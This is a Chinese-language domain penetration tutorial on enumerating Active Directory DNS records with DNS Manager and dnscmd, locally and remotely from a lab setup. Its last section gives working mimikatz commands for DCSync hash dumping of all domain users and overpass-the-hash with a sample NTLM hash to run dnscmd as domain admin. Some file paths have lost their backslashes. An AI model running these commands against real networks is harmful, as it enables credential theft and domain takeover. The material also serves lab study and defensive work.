域渗透——DNS记录的获取
00x00 前言
早上一觉起来码子变红了是什么体验,crazy!!!
00x01 简介
本文将要介绍以下内容:
通过DNS Manager获取DNS记录
通过dnscmd获取DNS记录
域内远程读取DNS记录的方法
00x02 通过DNS Manager获取DNS记录
测试系统:
Windows Server 2012 R2 x64
选择‘工具’ -> DNS
。
在‘正向查找区域’下找到当前域名,能够显示当前域内的DNS
记录,包括主机名和对应的IP
。
00x03 通过dnscmd获取DNS记录
dnscmd
用来管理DNS
服务器的命令行接口,支持远程连接。
默认安装的系统:
Windows Server 2003
Windows Server 2008
Windows Server 2003 R2
Windows Server 2008 R2
Windows Server 2012
Windows Server 2003 with SP1
…
常用命令:
(1)列出DNS区域中当前节点的资源记录:
Dnscmd . /EnumZones
(2)列出http://21r000.org的信息:
Dnscmd . /ZoneInfo 21r000.org
(3)列举http://21r000.org中的记录,方法1(更详细):
Dnscmd . /ZonePrint 21r000.org
(4)列举http://21r000.org的记录,方法2:
Dnscmd . /EnumRecords 21r000.org .
结果同DNS Manager
获取的记录一致。
00x04 域内远程读取DNS记录的方法
方法分析
前提需要获得域管理员的权限。
第一种方法是先远程连接域控制器,然后在域控制器上执行dnscmd
获取DNS
记录。
第二种方法是在域内一台主机上面,执行dnscmd
远程读取DNS
记录。
在未安装Remote Server Administration Tools (RSAT)
的系统上执行dnscmd
,需要满足以下条件:
dnscmd保存在路径C:WindowsSystem32下
dnscmd.exe.mui保存在C:WindowsSystem32en-US下(该位置比较通用,也可以在其他位置)
注:dnscmd
和dnscmd.exe.mui
使用该项目中的即可。
Win7系统安装Remote Server Administration Tools (RSAT)教程
由于dnscmd
在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz
的Overpass-the-hash
。
首先需要获得域管理员用户的hash
,这里只能用ntlm/rc4/aes128/aes256
如果获得了域管理员用户的明文口令,可以先将明文转为ntlm
,在线加解密的网站
域控制器上执行mimikatz
,使用dcsync
获得域内所有用户hash
:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:21r000.org /all /csv exit"
测试环境的参数如下:
域管理员用户:Administrator
口令:DomainAdmin456!
hash:A55E0720F0041193632A58E007624B40
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:21r000.org /ntlm:A55E0720F0041193632A58E007624B40"
这样会弹出一个cmd.exe
接着使用dnscmd
远程连接进行查询:
Dnscmd WIN-F08C969D7FM.21r000.org /EnumZones
或者直接用计算机名称:
Dnscmd WIN-F08C969D7FM /EnumZones
注:这里要使用FQDN
或者计算机名。
如果想在命令行下实现整个流程,可以采用如下方法:
新建c:test1.bat
,内容如下:
Dnscmd WIN-F08C969D7FM.21r000.org /EnumZones > c:testout.txt
Overpass-the-hash:
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:21r000.org /ntlm:A55E0720F0041193632A58E007624B40 /run:"cmd.exe /c c:test1.bat""
注:cmd.exe
下"需要使用转义字符"
参考链接: